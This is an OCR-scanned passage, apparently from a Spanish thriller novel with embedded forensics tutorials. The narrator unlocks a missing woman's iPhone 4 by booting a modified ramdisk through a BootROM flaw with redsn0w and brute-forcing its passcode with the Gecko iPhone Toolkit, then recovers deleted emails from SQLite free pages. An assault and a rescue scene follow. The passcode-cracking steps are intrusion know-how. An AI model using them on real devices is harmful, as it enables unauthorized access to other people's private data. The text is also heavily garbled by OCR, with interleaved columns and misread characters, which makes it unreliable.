no cabia dudar. Archivé este dato en /i memoria y continué repasando las distintas filas y'

columnas, sin llegar a ninguna otra conclusion. Introdu !
R zca el codigo

De 0 a Qag e a

Namberg 87.000,00 € 21/05/2012
Kaln 5.400,00 € 10/05/2012
Munchen 2.200,00 € 09/05/2012
Miinchen 400,00 € 03/05/2012
Nomberg 65.000,00 € 01/05/2012
Dusseldorf 5.100,00 € 28/04/2012
Minchen 3.050,00 € 28/04/2012
Nurmberg 10.300,00 € 26/04/2012
Koin 4.300,00 € 12/04/2012
Dusseldorf 3.020,00€ 10/04/2012
Dusseldorf 2.100,00 € 05/04/2012
[Minchen 1.200,00 € 04/04/2012
NGmberg 90.000,00 € ouoa;zmﬂ\

fmg 45: Datos del archivo PDF recuperado.

Terminé el sandwichy apure la Coca-Cola con los 0j0s pegados ala pantalla. Los calambry Img 46: Solicitud de! c6digo de bloqueo del iPhone

P 1 1:‘. de (.abe 3 5[05 telnllnales peIHllteIl aCtllallzaI la Version de IOS I‘Iledla]lte 1Ill]les con dlstlllt()s

Masajeé mis sienes reclinado en la butaca, pero el fugaz descanso que me concedinos Tem‘ﬁ)si ¢l modo normal llamado de “recuperacion”, dond;
hantalla con el cable del i , donde se muestra un dibuj
' gble del iPhone y una flecha apuntando hacia un icono de ?Tl(lilllzlsl.'loo e;
2

para aliviarme. d
. modo especial “DFU” (Device Fi
. . . . g : : : ice Firm S
Me levanté el tiempo Justo para ir a la cocina a por una aspirina y un vaso de ag®] anterior falla, Para usar este m:) do‘zare lgd?te), que se inicia en caso de emergencia y si
urante el arranque del movi :
il hay que seguir un
orden

Mientras esperaba a que el farmaco hiciese efecto, me entretuve dando vueltas al mOPstablecido de pulsaci

i ndo ¥ . pulsaciones del botén de encendido y i

recuperado entre Jas manos. Un par de veces, apreté el boton d€ activacion, pero en & . i i

ocasion me encontraba la barrera del codigo de cuatro digitos. Esta no era solo una barrg 4™ descubrir el codigo de desbloqueo, habia que apagar el movi

- . . I3 - - ) 16 i :

tecnologica, también suponia una barrera moral, Pero ya habia rebasado otras anies re]tfcl.ltar una version del sistema operativo mOdiﬁCSdf o mO.Vﬂ’.arrancaﬂo e

misma justificacion servia para und més. Acceder a la informacion del movil no aumentag > aran las 1000 combinaciones posibles de niimeros ha;‘(;nd;phca?ones e ool
1 con la correcta, todo ello

sustancialmente el peso con que & cargaba mi conciencia. Superada la dltima duda, § n que fueran detectadas y el mévil se bloqueara para siempre

puse a trabajar.

El aparato era un iPhone 4 del que desconocia la version de su sistema operativo “10%
En este punto, me daba igual, por lo menos hasta que consiguiera acceder tras avertgus
codigo de desbloqueo.

300tROM es la pri icacid inici
e eai fé;rﬁieéglaghcamon que se inicia cuando el mévil se enciende y se enca:
Loditicado st que haya Sirzi (I)n;li(i/ gllzg. tPafr_a quf1 BootROM ejecute un sistema operat;%g |
b0y o seaur do pre nte firmado por Apple, acreditando |
guro, es necesario utilizar alguno de los fallos existent o = o I
ntes en la propia BootROM,

Probar todas las combinaciones a mano no era una opcion, ya que Apple establecia §

- odo el proces i .
| p 0 ya lo automatiza la aplicacion Gecko iPhone Toolkit'®. Basta con descarg I
. ar

proteccion que prolongaba el tiempo de espera si detectaba varios intentos fallidos tah C
continuabas por ese camino, €l movil se bloqueaba definitivamente y quedaba inservi erramienta, la imagen de IOS IPSW 2
kplotando la vulnerabilidad en el lgootRog/g redsn0w?, que es usada para iniciar el movil

Para mi fortuna, conocia un método para recuperar la contrasefia sin perder los datos.

omo limeraln o SHAfter. |
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Apagué el iPhone y lo conecté al PC. Inicié Gecko, seleccioné el fichero I’PSW con el
que arrancar el mévil (iPhone3,1 5.0 .1_93405_Re5t0re.i'psw), pulsé sobre Boot
y. desde ahi, arranco redsnOw, que fire indicando los pasos a seguir con las pulsaciones de
botones para encenderlo en modo DFU.

Tras arrancar el iPhone e instalarse los drivers en Wi.n_dows, redsnOw detectd su presencia
y ejecutd todas las acciones. El mévil mostraba el inicio y un gigante OK.
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Img 47: iPhone iniciando con debug habilitado. Img 48: Fuerza bruta del cédigo de bloqueo.

Por tltimo, pulsé sobre “Launch” en Gecko y el terminal empez0 a mostrar lineas con cada
;
uno de los intentos:

Para probar las mil combinaciones se tarda un méximo de vein_te’minutos, pero normqh;gn;s
el codigo correcto aparece antes. En este caso, este se V1§ua!1zo en la pgnt{iila de mi

tan solo tres minutos: “{ ‘passcode’ : ‘14917.7. No sabia si esa cifra significaba algo para
Yolanda o la habia elegido de forma aleatoria.

Capitulo X: SQLite m

Readlockscreen passiord 'Bypass “iphone disabled” | Gther le info | Advanced )

Step 1: Boot ramdisk using redsnOw

[iPhone 4 [GSM] S Boot
Step 2 once redsnOw has finished click Launch e I

Password information read

Dewvice UDID . 4199131a6577339275514e91 80552028031 22 51 -~
Kevbag: SIGM check FAIL
Keybag UUID : 7998341dbd6ad13ca1063465553che8
Saving L. “AppD atahLocalhTemphtoals\bruteforce
\#180b31 2657733927551 4e3180552c28031a2005/91b1 1401 f2d4cdfa,plist
| passcodelephoardComplesty ; (rangeMinimum?; 0, 'value’ 0, rtangeMaximum’: 2}
Tiymg all 4-digits passcodes, .
#Bmlefm'.as yetemiepBag: 0:04:22.684000
Eabe da’ 1491 T deliey' '822384fe02a6d3bal790aaae76(9B56431 263e5b3c 91cBal cBI70c43a0d54c4f}
Keybag type : System keybag (0)
g 29

Womidhmm » 1memimim

=

| Cracking lock code
Img 49: Herramienta Gecko iPhone Toolkit con el codigo de bloqueo.

Entonces, reinici¢ el iPhone y accedi con normalidad, como si fuese el mio propio.

Luego abri distintas aplicaciones para buscar informacién: las Gltimas llamadas, los
mensajes de texto, el correo electronico y la agenda.

-_:__ domingo, 24__06 2ok P.Suarez/Entregar archivo
Wm | Fuente del muro en Parque
! Berlin (Madrid)

15:00
.. domingo, 24 de jun de 2012
800 ' de 17:00 a 17:50
00 e e e , Disponibilidad
dehmurdienRarque Sernini(Madscy: | Ocupado
a3.00 I - —
200 .

Img 50-51: Agenda con cita en el iPhone.
Lo primero que llamé mi atencién fue una cita en el calendario, para la tarde del dia
siguiente: “P.Sudrez/Entregar archivo; 17:00 horas; Fuente del muro en Parque Berlin
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a(i-r' » - - Ty . 5
gr\:lla oliz)mlifci: 5?:1?;1 h:n{t{;g?{ :ilrchévo Junto al nombre propio destacaba como un faro Tanto en Android como en [0S, es casi un estandar utilizar SQLite para guardar informacién
’ - ADOtE los datos en mi agenda, convencido de su importancia. | debido a su simplicidad y sencillez. Los archivos SQLite tienen una estructura similar a
Busqué en los contactos la entrada “Suarez”, pero no aparecia por ningfin lado, Revise | ™ sistema de ficheros, donde los datos son almacenados en péaginas formando drboles.
las d_emés entradas del calendario sin encontrar nada mis ug eventg 8 ";‘ ovise Existen distintos tipos de paginas, aunque todas ellas tienen el mismo tamafio, dividiendo
(siufig}entemf;me _i_n}:rascendentes paraque los descartara, Me connc-llovié obsec;iag?:zn?)iagif}g | el fichero légicamente en partes iguales.
pzsa (iz a&‘;:r:t’;n;z:geé; ;(?éol?u];?tra{f;eﬁzs I::trqu_e Oeste (Alc?rcén}”_ Earecia que hubiese | Medigntg el uso de _péginas dgl tipo “libre”, SQLite gestiona los datos eliminados y el
veinticuatro horas, Es extraie corre = entr ;), L;xando toda\_na no habian transc!.lrrido ni | espacio libre dlsppmble. Por ejemplo, cuando un correo es borrqdo, este permanece en el
Vidii st i e percibe €l paso del tiempo cuando la rutina de tu ! fichero y el espacio que ocupa es margado como “disponible”. Si ese nuevo espacio no es
- : usado, se puede averiguar la informacién que contenia.

zj\::l’a[rﬁg fgﬁlih ;Jé ol;:l !:1;21;21:1 g?\flaEelEreciuel"do. La preocugacic"m me iml?ulsaba hacia t Hay dos tipos de pégipas li‘tzres:: Hn indice dqnominado troncal y que Gnicamente se encarga
teléfonio: los menejes - ! bxpkore etll'rest(_J de aphcac:or!ets € informacion de] | de enumerar las paginas h0]3: , ¥ las hojas libres, que son aquellas que contienen la
de tareas, los {iltimos lugares que ha;‘iileiri(:oa:iidl:mna: l(i};léavegamon, L g informacion ¥ qus estin disponibles per i uso futura,

ese momento, el respeto a la intimidad era la ltima ;: :ﬁs pr"ic;r"lr d;g;glutamente todo. En | En los 100 primeros bytes del archivo SQLite reside la cabecera. En ella se detallan las
Sorprendido de la cantidad de d ) _ | propyedades de la bas_e de datos y los parametros necesarios para empezar a bucear. Los
antidad de datos insustanciales que una persona “no técnica” puede f més importantes, en vista a encontrar la informacién eliminada, son:

llevar en su terminal y deses infi i
ar e perado por la falta de otra informacién relev idi |
profundizar en el correo electrénico. N Offset | Tamaiio

Descripcion

g{e disiliause a r;acuperar mensajes eliminados o, por lo menos, algunos fragmentos de estos 0 16 Identificacién del fichero: “SQLite format 310007
dra 1 = ) e 4 A
Proteite?:i, ;Sgexadtt;l;it;‘l’lﬁnta i‘Efiiglorer-' y descargué el fichero /var/mobile/Library/Mail/ Tamafio en bytes de cada pagina. Por lo que el tamafio total del
ok o e ami PC. En esta bas_e de glatos de formato SQLite, se almacenan 16 2 fichero siempre ha de ser miltiplo de este niimero. El tamafio
se b ex lomsajes g cl?lrreo, ¥ solo esté accesible si el teléfono tiene jailbreak, es decir, si : méximo es 65536 y el minimo 512.

.:__ 0 otra vu eld p obtener acceso como usuario root. Especifican si el modo de journaling WAL esta activado para

- = 18y 19 1, escritura (offset 18) o lectura (offset 19) usando el valor 2.

24 4 Indica el mimero de veces que el fichero ha sido modificado.
28 4 Numero de paginas que componen la base de datos.
_ 32 4 Numero de la primera pagina libre troncal.
| S o 36 4 Ntmero total de paginas libres.
i ExchangeAckveSymrD31CES L-15684556-AFE. |
= E_ oo = - 56 4 Codificacion del texto: 1 equivale a UTF-8; 2, a UTF-16le; y 3, a
Nl . | UTF-16be.

Si estd a 0, no est4 activado el “auto-vacuum”; cualquier otra cosa,

64 4 esta activado.

96 4 Version de la base de datos.
Tabla 3: Datos mas relevantes de la cabecera SQLite

'} Comencé abriendo el fichero con un editor hexadecimal para averiguar estos datos.

! - Laidentificacién era correcta, acabando con 00.

Img 52: Vista de gestion de archivos con iBxplorer, = ! - La pégina tenfa un tamafio de 4096 bytes (10 00).
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- Read y Write de WAL estaba desactivado (01 01).

- Elfichero se habia modificado 24.517 veces (00 00 5F C5).

- Se componia de 2060 Ppaginas ( 00 08 0C).

- La primera pagina troncal era la nimero 740 (00 00 02 E4).

- Existian 1514 péginas libres en el fichero (00 00 05 EA).

- Lacodificacién del texto era UTEF-8 (00 00 00 01).

- Elauto-vacuum estaba completamente desactivado (00 00 00 00).

- La version de Ia base de datos era 3007007, es decir 3.7.7 (00 2D E2 IF).

N R TN TR e 3 10 BE 12 13 012545675 9a8cD
90006088855 51 _ic 63 71 &5 20 66 5% 72 6D B1 73 7] QLite £
0060014 (33 0o[T0 oo] BL[01J60 46 20 2660 00 =% gs %.U?T.?‘;"“z
B0000025 [00 00 05 oelaod 6a £z 24100 00 05 ®alo0 05 i
10800032 00 02 00 6p 0o o1 00 00 T0 00 68 00 00 gg
P#000056 [00 00 60 03]00 00 0o go U0 @o
PO000670 00 G0 GO B0 00 0o oo 00 80 @0 00 0G o0c oo
p0000984 00 00 00 00 oo gg 80 00 00 @0 SF c5 un 2p ,,........ -
po08osa g2 1r 0p 0p oo gp 82 OF 20 00 Ur 8C 0F 20 ..., .. =
PO0BA1L2 00 00 00 6o 80 o 20 00 00 80 09 00 05 g . o llL TTTt

Img 53: Volcado de Ia cabecera de SQLite.

que buscaba,

1514 paginas libres

] por 4096 bytes cada una de ellas, en total suponian 6.201.344 bytes de
informacién.

¥, en base a ese niimero, el resto de conjuntos de 4 bytes son los nimeros de Ias hojas libres'
disponibles. '

El correo era grande Y ya sabia con anterioridad

hojas libres.
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. Ademis de estas hojas, también es posible encontrar datos eliminados en las paginas
| “b-tree”, que son aquellas que contienen informacién valida tanto de la estructura de la base
I de datos como de los datos que la componen, pero que no se han rellenado por completo o
| pa sido fragmentada con ¢l paso del tiempo. Afortunadamente, no fue necesario consultar
| estas partes del fichero.

e

El método dio su fruto y encontré algo interesante: dado que el hermano de Yolanda habia

desaparecido, me interesaban especialmente sus correos; el ultimo de ellos me obligé a

contener la respiracién mientras lo lefa tres veces. Cuando por fin asimilé su significado,
solté el aire en una lenta espiracion.
i

I8
61
{ 73
| E1l
' 6F
; 61
! 64
| 65
' 75
6F

6F 6C
3a 0D
74 6F
20 65
20 &E
79 75
6F 20
6C 20
6E T4
2E 20
72 &8
69 65
6E 67
61 73
6D &F
6F 21
20 61
79 210
53 &9
61‘72
E9 20
Z2E 20
72 65
72 E9

65 7
ES
70
Fl
69
20
69
76
20
6F
20
75
6F
68

6D 51
71
72
2C
4 6F
6F
61
2E
72 63
72
F3
20

5 74
0 65
5 72
&5 72
75 20
75 65
65 20

hermanit
P....85. gque e
sto te parecer
extra.o, per
© necesito tu
ayuda y no pue
do explicarte
54 6A el motivo. Adj
69 76 unto un archiv
20 61 o. No podr.s a
20 71 brirlo. S.lo q
20 74 juiero que lo t
20 61 engas por si a
6D 69 caso. Ahora mi
74 69 smo estoy meti
20 65 do en algo vy e
20 6D 1 archivo es n
65 2E uy importante.
70 61 Si algo me pa
20 71 sara, sabr.s q
20 E9 u. hacer con .
65 20 1. Pero no te
73 74 preocupes. Est
ar. bien.

oD
74
7d
63
6l
78
&F
20
6F
6C
6F
73
Z2E
65
68
63
6D
61
2c
al
65
63
62

65 |
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Img 54: Datos recuperados del correo electrénico.
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La fecha del correo se remontaba dos semanas atras. A partir de entonces, los acontecimientos
se habian sucedido: Pablo envia un archivo a su hermana antes de desaparecer; dias mas
tarde, Yolanda me pide que descifre un archivo y acto seguido la secuestran. No habia que
ser Sherlock Holmes para deducir que se trataba del mismo archivo; ambos hechos eran
demasiado extrafios y préximos en el tiempo para obedecer a causas distintas.

Un escalofrio recorri6 mi espalda. ;Cémo podia un simple PDF dar pie a la desaparicién de
dos personas? Ni siquiera yo, que lo habia descifrado y leido, alcanzaba a comprenderlo.

De pronto, me entraron unas ganas tremendas de desentenderme de todo. Nadie me
garantizaba que yo no fuese el siguiente en sufiir un tragico destino, ya que ahora tenia el
archivo en mi poder. De no haber sido por el compromiso que habia adquirido con Yolanda,

Y Por mis sentimientos hacia ella, me habria olvidado de todo y continuado con mi vida. En
Cambio, volvi a repasar la tabla.
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El asiento Niimberg era importante, eso estaba claro, y no solo por el importe de 135!

cantidades, sino porque las mismas cifras y fechas constaban a continuacion de la tabla en
Justificantes de ingresos en cuentas numeradas de bancos extranjeros. Sobre todo de Suiza.
No era un pais conocido POr su transparencia financiera, jverdad?

:Qué era entonces todo ese embrollo? ;Evasién fiscal? .Y qué pintaba el hermano con .

ese documento? ;Por qué se lo habja remitido a Yolanda? Hasta donde yo sabia, aquel no

era ningtn millonario preocupado por Hacienda, v esta ninguna experta en contabilidad,
(Quién era el alemdn cuyo nombre habia descubierto en el PDF? ;Qué relacion tenia con|
los dos hermanos? ;Seria él el responsable de ambas desapariciones? No, imposible, un.

Secuestro parecia algo exagerado solo para evitar tener que rendir cuentas al fisco. Nadie
podia sentirse amenazado hasta ese punto por unos cuantos cientos de miles sin declarar,
Sin contar con que el PDF no constitufa ninguna prueba de nada. ¢O'si? No, en el archivg

tenia que haber algo mas. O quizas solo fuera una pieza de un puzle mucho mayor que
aislada no servia para nada.

Estaba como al principio. Habia transgredido unas cuantas normas legales y éticas, pero no
me encontraba més cerca de averiguar la verdad que el dia anterior, cuando empez4 todo. |
[ |

Al concienciarme de la inutilidad de mis esfuerzos, me replanteé seguir el camino quee
habia emprendido en solitario; mas atin, cuando todo parecia indicar que mi amiga no
estaba metida en nada ilegal, sino que su hermano la habfa convertido en una victima al
enviarle el archivo. Ahora mis anteriores precauciones con respecto a la policia parecian
fuera de lugar. Quizas habia llegado 1a hora de acudir 2 comisaria y dejar la investigacién
€n manos profesionales.
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Capitulo XI
Asalto

Acababa de tomar la decisién de llamar a la policia cuando mi teléfono cobro vida. En el
identificador apareci6 una foto de Jaime. iMierda! Estaba dispuesto a no contestar, pero al
final opté por apretar la tecla verde. Tenia alguna sospecha sobre el motivo de su llamada.
-(Qué pasa, Jaime? —dije-. ;Qué te cuentas?
-Angel, tio, ;has hablado con Roberto?
-No, jpor qué?
-;Que por qué? Porque me ha jodido, tio, me ha Jjodido pero bien jodido.
-Pero, ;qué ha hecho?
-No lo s€, pero algo ha tenido que hacer. |
-¢Por qué lo dices? |

-Porque sin su intervencién, no me explico cémo la tia que ayer tenia comiendo de la
palma de la mano, hoy me grita que soy un depravado, que la deje en paz y no sé qué
historias sobre una carcel mexicana donde voy a terminar.

discrecion, pero el efecto habia sido el mismo. Tuve que hacer grandes esfuerzos para no

1

1

Parecia que la chica no habia seguido al pie de la letra mis instrucciones en cuanto a la |J
|

- -y . -~ I

reir al advertir la confusion de mi compatiero. |

-;,Qué me dices? Ik

|

l |
-Lo que oyes —sentencié-. Que Roberto me la ha liado. f| i
-No acabo de entender de qué va todo esto. I

-Claro, porque no sabes la historia. Te la cuento—dijo, y antes de que yo pudiera negarme-:
Estabamos Roberto, Mario y yo en “La Copa Dorada” tomando unas cervezas. Les
Propongo entrar a unas tias, pero se cortan; asi que yo me voy con las pibas, solo ante f
el peligro, para romper el hielo y luego presentarles a mis dos colegas. Y estos, cuapdo
ya tenia la situacion a punto de caramelo, se las piran y me dejan alli colgado. Y encima
Roberto me mira al salir como si hubiera matado a su madre. Por eso creo que me ha
saboteado. La que estaba m4s buena del grupo me dio su teléfono y hoy iba a quedar con
ella, pero al hacer la llamada me ha soltado todo ese rollo.
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Esto se pareca a aquella pelicula japonesa, Rashomon, en 14 que cada personaje cuenta una| yna enorme sombra se cemid sobre mi e impidi6 que me moviera. A través de Ia niebla

version diferente de la misma historia; aunque, conociendo los antecedentes de Jaime, me que cubria mis ojos, distingui una segunda figura entrando en el piso y cerrando tras de si.
inclinaba més por creer a Roberto,

La primera sombra me arrastro por el pasillo; solo que no era una somtfra. Sus rasgos iban
-No sé, Jaime, quizas haya una explicacisn légica y estés viendo conspiraciones donde} aclardndose al tiempo que mi aturdimiento remitia Yy pude reconocer al tipo calvo del video.
no las hay. I Le seguia el hombre delgado, quien sefialaba hacia el despacho del fondo. Ambos vestian

a tenido que ser Roberto, Me apuesto 100 millones de monedas de oro| las mismas ropas que llevaban cuando fueron captados por la cimara de seguridad.

-1Y una mierda! H
del Diablo I1I, si hace falta, Tienes que preguntarle qué ha hecho, como si no supieras! Con el reconocimiento llegé el terror. Mis 0jos se abrieron desmesurade_tmente y un nudo
de angustia se cerrd en torno a mi garganta. Empecé a patalear y a forcejear, pero luchaba

Pero tengo que saber a qué me enfrento, 1 contra una fuerza muy superior. Habria gritado pidiendo auxilio si una magp monstruosa
i i : erla pero, cuando mi captor se dio cuenta, me

B i no me hubiera tapado la boca. Intenté mord ! ! -
) AVHErD meterme en Vuestros los. 5 dio un pufietazo en el estémago. Fue como si Thor me hubiera golpf:ado con su martillo. Mi
~Fero, tio, tienes que ayudarme. | cuerpo se vacié de aire y se llené de dolor, y a punto estuve de vomitar el sandwich sobre el

; - : sufici i 0. La amenaza
i 2 foi 1 ué. Por suerte, logré calmarme lo suficiente para poder respirar de nuev naz
{12 I?E:eieliiissgeﬁohacer " Sreglar vuestros asuntos. Yo fengo cosas més tmportantes Sz.r gtro puiietazo me quité la idea de seguir luchando y me hizo considerar la sumisién
' ’ b - . » L . - -
. dar | como estrategia de supervivencia. Abandoné cualquier resistencia y permiti que el calvo
Colgu¢ al recordar el asunto que traia entre manos. Por un momento, las peripecias de’ me llevara en volandas hasta el despacho y me tirara contra el sillén de lectura.

i i ado me atizo en la cara
que acudir a la policia para denunciar la desaparicion y aportar todas las pruebas, Me! Los dos homb;les s€ Slma;mdgre?zz:ﬂgc’ig;oNao‘ﬁsgcl?ggl:iiljrd;ﬁdm?a Yiitima mansre de
preguntarian c6mo las habia conseguido Y no me hacfa demasiadas ilusiones con respectof c¢on la mano abierta, a modo de pr . & '

i 0jo izqui ji i ia dolido ni la milésima parte
. i i | mi 0jo izquierdo y resbalara por la mejilla ardiente. No habia s
sl v s pE ks Tetoa m punloen que eso era lo que menog 2:13 il pufﬁletazo de su amigo, pero habia conseguido el mismo efecto de convertirme en un

e animal décil v asustado.
Compus? rapidamente un relato t_iet_allado_dc mis pasos en el Word y recopilé cada evidencia -¢Donde esta? —pregunt6, mirando a su alrededor para acabar incrustando sus frios ojos
que habia obtenido durante mis Investigaciones, como si estuviera documentando un 6

alisi i i6 i idos.
analisis forense. {Otra vez la maldita documentacion! contra los mios, sobrecog

El objetivo era tanto que los policias no me tacharan de loco como obligarles a actuar cop! "4Qué quieren? .. de orit e
celeridad. Si les presentaba los hechos de modo objetivo y bien estructurados, se tomarfan Recibi otro golpe. Esta vez de revés y en la otra mejilla. Contuve las ganli‘IS ¢ gritar E’;;rqeso
la denuncia en serio. Esperaba que cuando vieran el video del SCCUEstTo, no esperasen: sabia que vendrian mds golpes, quizds del calvo y su pufio de acero. No queria g
veinticuatro horas para confirmar la desaparicién, como hacfan en las series americanas.  volviese a pasar.

j r - N « o )
Grabé el video del secuestro y el documento con el relato de mis actuaciones en mi propio, -Escuchen, les daré lo que quieran. No hay necesidad de emplear la violencia
-El archivo. ; Dénde esta? —volvié a preguntar el delgado.

pendrive, una réplica del mayor superhéroe de todos los tiempos: Calico Electronico, Asi
-Primero diganme dénde est4 la chica. Sé que ustedes se la han Ilevado.

Los dos hombres intercambiaron una mirada de sorpresa. El dglgado, que parecia lleyar la
Y0z cantante, dirigié un gesto de asentimiento hacia su subordinado, que se me acercé con
total tranquilidad.

" Esta vez fue menos doloroso porque lo vi venir, pero a pesar de todo fue el segundo peor

. iy - . iy . . i
: i i ‘ . .| Eolpe que habia recibido en mi vida. Su pufio se hundié en mi plexo solar. Mi cabeza sa 5
i o A e ofoces. Al giarl R borte, la puerta se abri6 con un gol disgargda hacia delante, los ojos casi fuera de las érbitas. Durante medio minuto, boqueé
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€omo una sardina fuera del agua, encogido y sujetandome el estémago como si este fuera;
a escaparse.

-Por tltima vez —djjo el tipo delgado-. Dinos dénde est4 el archivo.

-El pendrive —balbuceé. No tenia sentido retrasar lo inevitable-. En el ordenador. ': p

Se aproxim6 a mi sanctasanctérum. Hello Kitty seguia insertada en uno de los puertos|
USB del panel frontal de la CPU y el soldado de asalto imperial, en otro. Mir6 ambos con|
extrafieza y los arrancé sin seguir el procedimiento de extraccion segura. Contuve un gesto |
de dolor. Aquel era un tipo realmente malo. Se los guardé en un bolsillo de la chaqueta y|
regresd junto a su compafiero, que no me perdia de vista ni un instante. Apoy¢ las manos |
en los brazos del sillon donde me encontraba sentado y se incliné hasta dejar su rostro a tan '
solo un palmo del mio. |

-(Has hecho copias? —pregunté-. ;Se lo has enviado a alguien?

Visto en retrospectiva, quiza hubiera sido una buena idea.

-No —contesté.
-S1 me mientes... -mir6 a su compinche, dejando la amenaza implicita.
-Le juro que digo la verdad —tragué saliva-. No hay més copias.

Se incorpord para escrutar mi expresién de terror durante lo que me pareci6 una eternidad,
pero que no serian mas de dos o tres segundos.

-Estd bien. Te creo —dijo, y luego volviéndose hacia el calvo-: Aqui hemos terminado;
Nos llevamos todo. Recoge y encérgate del resto. Yo esperaré en el coche. Tengo que
hacer la llamada. '

Aquel asintio, pero su jefe ya se habia marchado de la habitacién. Escuché hasta que el
sonido de los pasos me indicé que también habia abandonado el piso. Me atrevi a levantar
la mirada y me encontré con los ojos del hombre que tanto sufrimiento habia traido a mi’
mundo. Parecia una estatua por lo quieto que estaba, pero sabia por propia experiencia que
era capaz de moverse de forma ripida y dolorosa. -

Cuando retomo a la vida, sac6 un rollo de cinta americana, con el que me at6 manos y pies
hasta dejarme inmovilizado en el sillén. También me cubrié la boca con una tira, por si SG}H
me ocurria volver a gritar. 1

Luego empez6 a meter todos los discos y demas dispositivos en bolsas de basura. 'I‘ambiéq"_é
la CPU, que desconect6 sin ningiin miramiento. Mejor, toda la informacién de mi equipo:
estaba cifrada y la tinica opcién de haberla sacado era mientras atin estaba encendido. |

Dejé todo junto a la puerta y empezo a registrar los armarios y las estanterfas sin ordetl
ni método, arrojando algunos objetos al suelo. Cuando termin, la impresion que dab!
la habitacion era la misma que me asaltd al entrar en el piso de Yolanda. Acto seguidd_%_-

-

abandono el despacho pero, por los ruidos que me llegaban de fondo, supuse que estaba
paciendo lo mismo en el resto de la casa.

Mi situacion era desesperada. Me encontraba maniatado y a solas con un psicopata

eligroso. Ahora sabia qué habia sentido Yolanda. Luego pensé que, como ya tenian lo
ue habian venido a buscar, quizés nos soltaran a ambos. Abracé el optimismo de esa idea.

Mi secuestrador regreso al cabo de unos minutos. Arroj6 una Gltima bolsa junto a las demas
y se planté ante mi. Estaba claro que lo que fuera que le quedaba por hacer tenia que ver
conmigo. No me atrevi a mirarlo, no fuera a interpretarlo como un desafio, asi que esperé
pacientemente con la cabeza gacha.

Pasé un tiempo realmente largo, al término del cual me aventuré a levantar la vista al
frente. El calvo me sonrid de forma siniestra y se llevé la mano a la espalda. Antes de tomar
conciencia de lo que estaba haciendo, tenia una pistola apuntindome a la cara.

-iEspera! —grité a través de mi mordaza.

A pesar del stbito terror que me impedia apartar los ojos del caﬁ()n,. ;ni Visi'(’?n periférica
detectd movimiento junto a la puerta del despacho. El_calvo también debid de 1_10tar10
porque se volvié con el arma. Sin embargo, no pudo girarse por completo. Algu_lren tan
corpulento como él irrumpié en la habitacién y le bloqued el brazo,' con una luxacion que
desvio la pistola hacia el techo. El calvo solt6 un gruiiido y traté de liberarse de la presa. El
otro se lo impidié con un rodillazo a los testiculos y una nueva luxacion en el otro sepudo.
Se desplaz6 hacia la espalda para seguir controlando la mano que empuiiaba la pistola,
ahora dirigida a la pared. El calvo siguidé forcejeando; empezaba a levanta_rse cuandq el
otro le gird atin mas la mufieca, provocando un crujido espantoso..La mano inerte solt9 la
pistola y el calvo aullé de dolor; recibié luego un pufietazo en la sien que apago sus gritos
y lo tir6 contra las bolsas apiladas. Quedo alli tendido como un fardo mas, inconsciente.

Victoria por KO para el visitante, que recogio la pistola del suelo, comprobé el cargador y
se la guardd en la cintura. Luego me mir6 con gesto serio.

-Pues si que est4s metido en un buen lio, colega — me dijo, despegando la cinta de mi
boca con un tirdn.

-Hola, Marcos.
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Despu¢s del milagroso rescate, no hubo tiempo para muchas explicaciones. Nos ahorramos
Jos clasicos saludos y muestras de alegria por el reencuentro, y pasamos directamente a
la parte en que mi amigo me desataba, yo recuperaba mi equipo y ambos saliamos de all{
cagando leches.

Marcos tomo la iniciativa y me llevé al portal por las escaleras. Antes de salir, eché un
vistazo al exterior a través de la puerta acristalada. Me pidi6é que me acercara y sefialé
un vehiculo estacionado en doble fila. Casi cai de espaldas al intentar apartarme para que
el tipo delgado no me viera. Se encontraba hablando por teléfono junto al coche negro,
aunque no miraba hacia nosotros.

-No te preocupes ~dijo Marcos-. En el portal no hay luz. No puede vernos. ;Hay otra
salida?

-Por detras.

Salimos por la puerta de servicio, que daba a una calle paralela. Marcos me ocult tras unos
cubos de basura e indicé que le esperara. Al cabo de un minuto, volvié con su coche, un
Jeep Cherokee claro con la carroceria muy arafiada. Me abri6 la puerta desde dentro para
que subiera. Antes de abrocharme el cinturén de seguridad, el todoterreno ya se deslizaba
a través del trafigo en direccién a la autovia.

Tomamos la A-5 en sentido Badajoz. Pronto, dejamos atrés los grandes edificios y centros
comerciales. Mostoles desapareci6 del espejo retrovisor como si nunca hubiera existido.

-iJoder, joder, joder! —exclamé, rompiendo el silencio cuando ya me vi a salvo.

Marcos me observé de soslayo sin apartar las manos del volante. No debié de considerar
necesario afiadir ningiin comentario a mis imprecaciones, pues de inmediato devolvié su
dtencion a la carretera. No mostraba ninguna excitacion por el hecho de haberme salvado
1a vida. Si acaso, denotaba una excesiva concentracion en la conducci6n por las continuas
'radas a los espejos retrovisores.

Por mi parte, no podia dejar de pensar en lo ocurrido. Me encontraba recostado en el asiento
del copiloto, con la cabeza apoyada en la ventanilla y la mochila del portatil en el regazo.
Esta era la inica pertenencia, junto con mi teléfono mévil, que habia conseguido rescatar
dntes de tener que huir de mi piso y dejar en su interior al agente 47 inconsciente.

-;{Adénde vamos? — pregunité, irritado por el silencio de mi amigo.

-A mi casa.
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-(Por qué?
-¢Qué?

-Gracias.

|
-He dado por hecho que 1o querias volver a 3 tuya. j

-No, claro. Procuro alejarme de los sitiog donde tratan ge matarme ;No deberiamog

avisar a la policia? No contestd. Se limit6 a encogerse de hombros y seguir conduciendo.

Diez minutos después, tomébamos la salida que conduciaala urbanizacién de Navalcarnero

-No lo sé. Dimelo tg, : -y .

- Peroes o ’ ,{ donde M1 amigo tenia su casa. Estaba en una zona tranquila, de amplias avenidas ¥ rodeada

a(r,l e %}le (Iilo quieres saber de qué va todo esto? ~pregunté, sin ocultar mi exasperacign | por edificios de construccion reciente. Al otro lado de |a calle, habia un parque que
U actitud despreocupada, | conectaba con el pinar que habiamos visto desde la autovia.

-Claro. Cuando te decidas, cuéntamelo, | En vez de tomar la ruta mas corta Marcos salié de la avenida principal y recorrié varias

vida y ahora no me estuviera abn ;
Imando con pregun i
-E ] _— preguntas, lo demostraba ' pasaria desapercibido. Me senti afortunado de contar con é| v Iecupere cierta sensacién de
S una larga historig —repuse, - seguridad que ya crefa perdida para siempre.
-Resumela. Tras dar un Gltimo rodeo, Marcos abrié las puertas del garaje con un mando a distancia y

Suspiré, asumiendo o inevitabl . : : llev6 el Cherokee hasta su plaza. Lo seguf hasta el ascensor, donde pulsé el botén de la
. . wevitable. Antes o después tendria que CXPJICHIE_ POr qué me§ itima planta. Yo sabia que su piso estaba en la anterior, pero Opté por mantener la boca

)
g
1

desaparicién de Yolanda y el archivo - A
ue me ha P

